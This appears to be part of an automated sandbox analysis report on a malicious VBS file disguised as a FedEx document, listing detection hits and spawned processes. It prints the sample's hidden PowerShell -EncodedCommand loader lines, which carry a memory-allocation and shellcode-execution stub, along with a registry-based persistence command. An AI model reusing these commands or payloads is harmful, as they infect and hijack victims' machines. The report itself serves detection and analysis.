            Source: Initial file: obj1.ShellExecute MyFile , " -EncodedCommand " & chr(34) & max1 & chr(34),"","",0
            Source: Initial file: obj1.ShellExecute "powershell.exe", " -EncodedCommand " & chr(34) & max1 & chr(34),"","",0
            Very long command line found
            Source: C:\Windows\System32\wscript.exeProcess created: Commandline size = 7909
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: Commandline size = 7928
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: Commandline size = 7928
            Source: C:\Windows\System32\wscript.exeProcess created: Commandline size = 7909
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: Commandline size = 7928
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: Commandline size = 7928
            Source: Process Memory Space: powershell.exe PID: 7072, type: MEMORYSTRMatched rule: PowerShell_Susp_Parameter_Combo date = 2017-03-12, author = Florian Roth, description = Detects PowerShell invocation with suspicious parameters, reference = https://goo.gl/uAic1X, score = file, modified = 2021-09-28
            Source: Process Memory Space: powershell.exe PID: 5284, type: MEMORYSTRMatched rule: PowerShell_Susp_Parameter_Combo date = 2017-03-12, author = Florian Roth, description = Detects PowerShell invocation with suspicious parameters, reference = https://goo.gl/uAic1X, score = file, modified = 2021-09-28
            Source: Process Memory Space: powershell.exe PID: 1760, type: MEMORYSTRMatched rule: PowerShell_Susp_Parameter_Combo date = 2017-03-12, author = Florian Roth, description = Detects PowerShell invocation with suspicious parameters, reference = https://goo.gl/uAic1X, score = file, modified = 2021-09-28
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 12_2_077C1BB6
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 12_2_077C8628
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 12_2_077C6430
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 12_2_077C1D1A
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 12_2_077CFB40
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 12_2_01256A88
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 12_2_01256A98
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 12_2_0125AE60
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 12_2_0125AE50
            Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeCode function: 20_2_00EF6366
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 24_2_0116AD78
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 24_2_0116AE03
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 24_2_06F4BC9F
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 24_2_06F442E0
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 24_2_06F442E0
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 24_2_06F4EB90
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 24_2_075839A0
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 24_2_01167698
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 24_2_0116768A
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 28_2_074887E0
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 28_2_07480006
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 28_2_074887E0
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 28_2_07540040
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 28_2_07543A70
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 28_2_07540006
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 28_2_07544F98
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 28_2_07544F84
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 29_2_0795CCB8
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 29_2_07962620
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 29_2_0796C530
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 29_2_0796C540
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 29_2_07960040
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 29_2_07A5F7E0
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 29_2_07A57E00
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 29_2_07A57E00
            Source: 775578748333_FEDEX.vbsInitial sample: Strings found which are bigger than 50
            Source: C:\Windows\System32\wscript.exeSection loaded: windows.staterepositoryps.dll
            Source: 775578748333_FEDEX.vbsReversingLabs: Detection: 11%
            Source: C:\Windows\System32\wscript.exeKey opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers
            Source: unknownProcess created: C:\Windows\System32\wscript.exe C:\Windows\System32\wscript.exe "C:\Users\user\Desktop\775578748333_FEDEX.vbs"
            Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "IwBhAGcAcgB5ACAAUwBjAHIAaQB2AGUAbgAgAHMAeQBzAHQAZQBtAGsAbwAgAFQAcgBlAGQAagBlADUAIABDAGgAcgBvAG0AaQA4ACAAQgBJAEIATAAgAE8AdgBlAHIAcwB0AHIAZQA3ACAAcAByAGUAYwAgAEYAbwByAGwAaQBnAHMAaQBuADIAIABCAGUAbgBlAGYAaQB0ACAAQQBwAG8AdABoAGUAbwBzAGkAegAgAHUAZABlAHQAaQBsACAATABPAE8AUwBFACAAQgByAG4AZQB2AGUAOQAgAFQAbwBuAHMAaQAyACAAVAByAG8AcABpAHMAIABQAGwAZQB1AHIAbwBsAGkANAAgAGIAbABrAGsAIABDAHkAcwB0AGkAYwBlACAAVQBuAGQAZQByAHIAZQBwAG8AcgAxACAAUAByAG8AYwB1AGwAYwBhAHQAIABQAEEAUwBUAE8AUgAgAFMAYQBuAGcAIABjAG8AbQBiAGEAcgBvAG4AZgBvACAAbwBtAHAAcgAgAEQAYQBtAG4AZQBkADgAIABOAEUAUABIACAARgByAHUAaQB0AGkAdgBlAHIAZQAgAEQARQBGAEEASQBUAEkAUwAgAE0AaQBzAGsAZQBuAGQAZQA1ACAADQAKAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUgB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpAGMAZQBzADsADQAKAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABjAGwAYQBzAHMAIABTAGMAcgBpAHAAdABlAHIAZQAxAA0ACgB7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBuAHQAZABsAGwALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABpAG4AdAAgAE4AdABBAGwAbABvAGMAYQB0AGUAVgBpAHIAdAB1AGEAbABNAGUAbQBvAHIAeQAoAGkAbgB0ACAAUwBjAHIAaQBwAHQAZQByAGUANgAsAHIAZQBmACAASQBuAHQAMwAyACAAVABoAGUAbwByAGkAcwBlAHIAMgAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQAsAHIAZQBmACAASQBuAHQAMwAyACAAUwBjAHIAaQBwAHQAZQByAGUALABpAG4AdAAgAEwAZQBqAG4AaQA2ACwAaQBuAHQAIABTAGMAcgBpAHAAdABlAHIAZQA3ACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABDAHIAZQBhAHQAZQBGAGkAbABlAEEAKABzAHQAcgBpAG4AZwAgAFAAcwBlAHUANAAsAHUAaQBuAHQAIABsAGkAbgBqAGUAcgAsAGkAbgB0ACAAUwBUAFIAWQAsAGkAbgB0ACAAUwBjAHIAaQBwAHQAZQByAGUAMAAsAGkAbgB0ACAAUwBFAEUAUgBOAEUALABpAG4AdAAgAFAAYQBjAGkAZgBpAGMAZQByADcALABpAG4AdAAgAEEAZAB2AGkAcwBlAG4AcwA5ACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABSAGUAYQBkAEYAaQBsAGUAKABpAG4AdAAgAEEAVQBUAE8AQQBDAFQASQBWAEUAMAAsAHUAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADEALABJAG4AdABQAHQAcgAgAEEAVQBUAE8AQQBDAFQASQBWAEUAMgAsAHIAZQBmACAASQBuAHQAMwAyACAAQQBVAFQATwBBAEMAVABJAFYARQAzACwAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADQAKQA7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAQwBhAGwAbABXAGkAbgBkAG8AdwBQAHIAbwBjAFcAKABJAG4AdABQAHQAcgAgAEEAVQBUAE8AQQBDAFQASQBWAEUANQAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQA2ACwAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADcALABpAG4AdAAgAEEAVQBUAE8AQQBDAFQASQBWAEUAOAAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQA5ACkAOwANAAoAfQANAAoAIgBAAA0ACgAjAHIAZQBmAHIAIABDAGEAbgBjAGUAcgBpAG4AYwBvACAATABpAG4AZwB1AGEAdAB1AGwAIABoAGUAYQBsAGUAIABMAEUAVgBJAEcAQQBUACAATABJAEcASwBJAFMAVABFACAAcwB2AG8AdgBsACAAcABsAGEAdABvAG4Aa
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\tm43worv.cmdline
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESD568.tmp" "c:\Users\user\AppData\Local\Temp\CSCF0319BB5C3414E72AB519E7A67BBFBFC.TMP"
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Program Files (x86)\Internet Explorer\ieinstal.exe C:\Program Files (x86)\internet explorer\ieinstal.exe
            Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeProcess created: C:\Program Files\internet explorer\iexplore.exe c:\program files\internet explorer\iexplore.exe
            Source: unknownProcess created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c start /b c:\windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden $Retrocogni8=(Get-ItemProperty -Path 'HKCU:\SOFTWARE\AppDataLow\').Rickey;powershell.exe -windowstyle hidden -encodedcommand($Retrocogni8)
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe c:\windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden $Retrocogni8=(Get-ItemProperty -Path 'HKCU:\SOFTWARE\AppDataLow\').Rickey;powershell.exe -windowstyle hidden -encodedcommand($Retrocogni8)
            Source: unknownProcess created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c start /b c:\windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden $Retrocogni8=(Get-ItemProperty -Path 'HKCU:\SOFTWARE\AppDataLow\').Rickey;powershell.exe -windowstyle hidden -encodedcommand($Retrocogni8)
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe c:\windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden $Retrocogni8=(Get-ItemProperty -Path 'HKCU:\SOFTWARE\AppDataLow\').Rickey;powershell.exe -windowstyle hidden -encodedcommand($Retrocogni8)
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -encodedcommand IwBhAGcAcgB5ACAAUwBjAHIAaQB2AGUAbgAgAHMAeQBzAHQAZQBtAGsAbwAgAFQAcgBlAGQAagBlADUAIABDAGgAcgBvAG0AaQA4ACAAQgBJAEIATAAgAE8AdgBlAHIAcwB0AHIAZQA3ACAAcAByAGUAYwAgAEYAbwByAGwAaQBnAHMAaQBuADIAIABCAGUAbgBlAGYAaQB0ACAAQQBwAG8AdABoAGUAbwBzAGkAegAgAHUAZABlAHQAaQBsACAATABPAE8AUwBFACAAQgByAG4AZQB2AGUAOQAgAFQAbwBuAHMAaQAyACAAVAByAG8AcABpAHMAIABQAGwAZQB1AHIAbwBsAGkANAAgAGIAbABrAGsAIABDAHkAcwB0AGkAYwBlACAAVQBuAGQAZQByAHIAZQBwAG8AcgAxACAAUAByAG8AYwB1AGwAYwBhAHQAIABQAEEAUwBUAE8AUgAgAFMAYQBuAGcAIABjAG8AbQBiAGEAcgBvAG4AZgBvACAAbwBtAHAAcgAgAEQAYQBtAG4AZQBkADgAIABOAEUAUABIACAARgByAHUAaQB0AGkAdgBlAHIAZQAgAEQARQBGAEEASQBUAEkAUwAgAE0AaQBzAGsAZQBuAGQAZQA1ACAADQAKAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUgB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpAGMAZQBzADsADQAKAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABjAGwAYQBzAHMAIABTAGMAcgBpAHAAdABlAHIAZQAxAA0ACgB7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBuAHQAZABsAGwALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABpAG4AdAAgAE4AdABBAGwAbABvAGMAYQB0AGUAVgBpAHIAdAB1AGEAbABNAGUAbQBvAHIAeQAoAGkAbgB0ACAAUwBjAHIAaQBwAHQAZQByAGUANgAsAHIAZQBmACAASQBuAHQAMwAyACAAVABoAGUAbwByAGkAcwBlAHIAMgAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQAsAHIAZQBmACAASQBuAHQAMwAyACAAUwBjAHIAaQBwAHQAZQByAGUALABpAG4AdAAgAEwAZQBqAG4AaQA2ACwAaQBuAHQAIABTAGMAcgBpAHAAdABlAHIAZQA3ACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABDAHIAZQBhAHQAZQBGAGkAbABlAEEAKABzAHQAcgBpAG4AZwAgAFAAcwBlAHUANAAsAHUAaQBuAHQAIABsAGkAbgBqAGUAcgAsAGkAbgB0ACAAUwBUAFIAWQAsAGkAbgB0ACAAUwBjAHIAaQBwAHQAZQByAGUAMAAsAGkAbgB0ACAAUwBFAEUAUgBOAEUALABpAG4AdAAgAFAAYQBjAGkAZgBpAGMAZQByADcALABpAG4AdAAgAEEAZAB2AGkAcwBlAG4AcwA5ACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABSAGUAYQBkAEYAaQBsAGUAKABpAG4AdAAgAEEAVQBUAE8AQQBDAFQASQBWAEUAMAAsAHUAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADEALABJAG4AdABQAHQAcgAgAEEAVQBUAE8AQQBDAFQASQBWAEUAMgAsAHIAZQBmACAASQBuAHQAMwAyACAAQQBVAFQATwBBAEMAVABJAFYARQAzACwAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADQAKQA7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAQwBhAGwAbABXAGkAbgBkAG8AdwBQAHIAbwBjAFcAKABJAG4AdABQAHQAcgAgAEEAVQBUAE8AQQBDAFQASQBWAEUANQAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQA2ACwAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADcALABpAG4AdAAgAEEAVQBUAE8AQQBDAFQASQBWAEUAOAAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQA5ACkAOwANAAoAfQANAAoAIgBAAA0ACgAjAHIAZQBmAHIAIABDAGEAbgBjAGUAcgBpAG4AYwBvACAATABpAG4AZwB1AGEAdAB1AGwAIABoAGUAYQBsAGUAIABMAEUAVgBJAEcAQQBUACAATABJAEcASwBJAFMAVABFACAAcwB2AG8AdgBsAC
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -encodedcommand IwBhAGcAcgB5ACAAUwBjAHIAaQB2AGUAbgAgAHMAeQBzAHQAZQBtAGsAbwAgAFQAcgBlAGQAagBlADUAIABDAGgAcgBvAG0AaQA4ACAAQgBJAEIATAAgAE8AdgBlAHIAcwB0AHIAZQA3ACAAcAByAGUAYwAgAEYAbwByAGwAaQBnAHMAaQBuADIAIABCAGUAbgBlAGYAaQB0ACAAQQBwAG8AdABoAGUAbwBzAGkAegAgAHUAZABlAHQAaQBsACAATABPAE8AUwBFACAAQgByAG4AZQB2AGUAOQAgAFQAbwBuAHMAaQAyACAAVAByAG8AcABpAHMAIABQAGwAZQB1AHIAbwBsAGkANAAgAGIAbABrAGsAIABDAHkAcwB0AGkAYwBlACAAVQBuAGQAZQByAHIAZQBwAG8AcgAxACAAUAByAG8AYwB1AGwAYwBhAHQAIABQAEEAUwBUAE8AUgAgAFMAYQBuAGcAIABjAG8AbQBiAGEAcgBvAG4AZgBvACAAbwBtAHAAcgAgAEQAYQBtAG4AZQBkADgAIABOAEUAUABIACAARgByAHUAaQB0AGkAdgBlAHIAZQAgAEQARQBGAEEASQBUAEkAUwAgAE0AaQBzAGsAZQBuAGQAZQA1ACAADQAKAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUgB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpAGMAZQBzADsADQAKAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABjAGwAYQBzAHMAIABTAGMAcgBpAHAAdABlAHIAZQAxAA0ACgB7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBuAHQAZABsAGwALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABpAG4AdAAgAE4AdABBAGwAbABvAGMAYQB0AGUAVgBpAHIAdAB1AGEAbABNAGUAbQBvAHIAeQAoAGkAbgB0ACAAUwBjAHIAaQBwAHQAZQByAGUANgAsAHIAZQBmACAASQBuAHQAMwAyACAAVABoAGUAbwByAGkAcwBlAHIAMgAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQAsAHIAZQBmACAASQBuAHQAMwAyACAAUwBjAHIAaQBwAHQAZQByAGUALABpAG4AdAAgAEwAZQBqAG4AaQA2ACwAaQBuAHQAIABTAGMAcgBpAHAAdABlAHIAZQA3ACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABDAHIAZQBhAHQAZQBGAGkAbABlAEEAKABzAHQAcgBpAG4AZwAgAFAAcwBlAHUANAAsAHUAaQBuAHQAIABsAGkAbgBqAGUAcgAsAGkAbgB0ACAAUwBUAFIAWQAsAGkAbgB0ACAAUwBjAHIAaQBwAHQAZQByAGUAMAAsAGkAbgB0ACAAUwBFAEUAUgBOAEUALABpAG4AdAAgAFAAYQBjAGkAZgBpAGMAZQByADcALABpAG4AdAAgAEEAZAB2AGkAcwBlAG4AcwA5ACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABSAGUAYQBkAEYAaQBsAGUAKABpAG4AdAAgAEEAVQBUAE8AQQBDAFQASQBWAEUAMAAsAHUAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADEALABJAG4AdABQAHQAcgAgAEEAVQBUAE8AQQBDAFQASQBWAEUAMgAsAHIAZQBmACAASQBuAHQAMwAyACAAQQBVAFQATwBBAEMAVABJAFYARQAzACwAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADQAKQA7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAQwBhAGwAbABXAGkAbgBkAG8AdwBQAHIAbwBjAFcAKABJAG4AdABQAHQAcgAgAEEAVQBUAE8AQQBDAFQASQBWAEUANQAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQA2ACwAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADcALABpAG4AdAAgAEEAVQBUAE8AQQBDAFQASQBWAEUAOAAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQA5ACkAOwANAAoAfQANAAoAIgBAAA0ACgAjAHIAZQBmAHIAIABDAGEAbgBjAGUAcgBpAG4AYwBvACAATABpAG4AZwB1AGEAdAB1AGwAIABoAGUAYQBsAGUAIABMAEUAVgBJAEcAQQBUACAATABJAEcASwBJAFMAVABFACAAcwB2AG8AdgBsAC
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\yy0zjl34.cmdline
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESADA2.tmp" "c:\Users\user\AppData\Local\Temp\CSCB8D22C72555343A48341CA7311A8A12.TMP"
            Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "IwBhAGcAcgB5ACAAUwBjAHIAaQB2AGUAbgAgAHMAeQBzAHQAZQBtAGsAbwAgAFQAcgBlAGQAagBlADUAIABDAGgAcgBvAG0AaQA4ACAAQgBJAEIATAAgAE8AdgBlAHIAcwB0AHIAZQA3ACAAcAByAGUAYwAgAEYAbwByAGwAaQBnAHMAaQBuADIAIABCAGUAbgBlAGYAaQB0ACAAQQBwAG8AdABoAGUAbwBzAGkAegAgAHUAZABlAHQAaQBsACAATABPAE8AUwBFACAAQgByAG4AZQB2AGUAOQAgAFQAbwBuAHMAaQAyACAAVAByAG8AcABpAHMAIABQAGwAZQB1AHIAbwBsAGkANAAgAGIAbABrAGsAIABDAHkAcwB0AGkAYwBlACAAVQBuAGQAZQByAHIAZQBwAG8AcgAxACAAUAByAG8AYwB1AGwAYwBhAHQAIABQAEEAUwBUAE8AUgAgAFMAYQBuAGcAIABjAG8AbQBiAGEAcgBvAG4AZgBvACAAbwBtAHAAcgAgAEQAYQBtAG4AZQBkADgAIABOAEUAUABIACAARgByAHUAaQB0AGkAdgBlAHIAZQAgAEQARQBGAEEASQBUAEkAUwAgAE0AaQBzAGsAZQBuAGQAZQA1ACAADQAKAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUgB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpAGMAZQBzADsADQAKAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABjAGwAYQBzAHMAIABTAGMAcgBpAHAAdABlAHIAZQAxAA0ACgB7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBuAHQAZABsAGwALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABpAG4AdAAgAE4AdABBAGwAbABvAGMAYQB0AGUAVgBpAHIAdAB1AGEAbABNAGUAbQBvAHIAeQAoAGkAbgB0ACAAUwBjAHIAaQBwAHQAZQByAGUANgAsAHIAZQBmACAASQBuAHQAMwAyACAAVABoAGUAbwByAGkAcwBlAHIAMgAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQAsAHIAZQBmACAASQBuAHQAMwAyACAAUwBjAHIAaQBwAHQAZQByAGUALABpAG4AdAAgAEwAZQBqAG4AaQA2ACwAaQBuAHQAIABTAGMAcgBpAHAAdABlAHIAZQA3ACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABDAHIAZQBhAHQAZQBGAGkAbABlAEEAKABzAHQAcgBpAG4AZwAgAFAAcwBlAHUANAAsAHUAaQBuAHQAIABsAGkAbgBqAGUAcgAsAGkAbgB0ACAAUwBUAFIAWQAsAGkAbgB0ACAAUwBjAHIAaQBwAHQAZQByAGUAMAAsAGkAbgB0ACAAUwBFAEUAUgBOAEUALABpAG4AdAAgAFAAYQBjAGkAZgBpAGMAZQByADcALABpAG4AdAA